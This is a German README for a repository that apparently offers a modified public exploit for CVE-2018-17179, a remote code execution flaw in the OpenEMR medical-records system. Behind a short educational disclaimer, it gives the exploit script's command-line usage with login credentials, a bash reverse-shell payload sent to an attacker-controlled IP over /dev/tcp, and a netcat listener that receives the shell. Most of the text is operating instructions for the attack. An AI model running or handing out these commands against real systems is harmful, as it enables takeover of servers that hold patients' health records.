
⚠️ Haftungsausschluss
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden.
Unbefugte Nutzung dieses Codes gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast, ist illegal und unethisch.
Der Autor ist nicht verantwortlich für Missbrauch oder verursachte Schäden.
CVE-2018-17179 betrifft OpenEMR, eine weit verbreitete Open-Source-Software für elektronische Patientenakten und Praxisverwaltung.
Eine Schwachstelle im Authentifizierungsmechanismus des rest_routes.php-Endpunkts ermöglicht es einem authentifizierten Benutzer, beliebige Befehle auf dem Server auszuführen.
Dies kann zu Remote Code Execution (RCE) im Kontext des Webserver-Benutzers führen.
interface/main/main_screen.php über rest_routes.phpDieses Repository bietet eine modifizierte Version des öffentlichen Exploits von Exploit-DB:
In diesem angepassten Exploit:
Als Ziel diente ein lokales OpenEMR-Test-Login-Panel:

Verwendung: python2 exploit.py <target_url> -u -p -c
Beispiel: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Stelle sicher, dass Python 2 installiert ist.
- Der Benutzer muss Zugriff auf den anfälligen `rest_routes.php`-Endpunkt haben.
Exploit ausführen
Das modifizierte Exploit-Skript wurde mit einem Bash-Reverse-Shell-Payload ausgeführt:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

Der Netcat-Listener auf Port 4444 hat erfolgreich eine Reverse Shell empfangen:
nc -nvlp 4444

Wirf einen Blick auf die ausführliche Anleitung und Theorie in meinem Medium-Beitrag:
👉 Lies den Blog auf Medium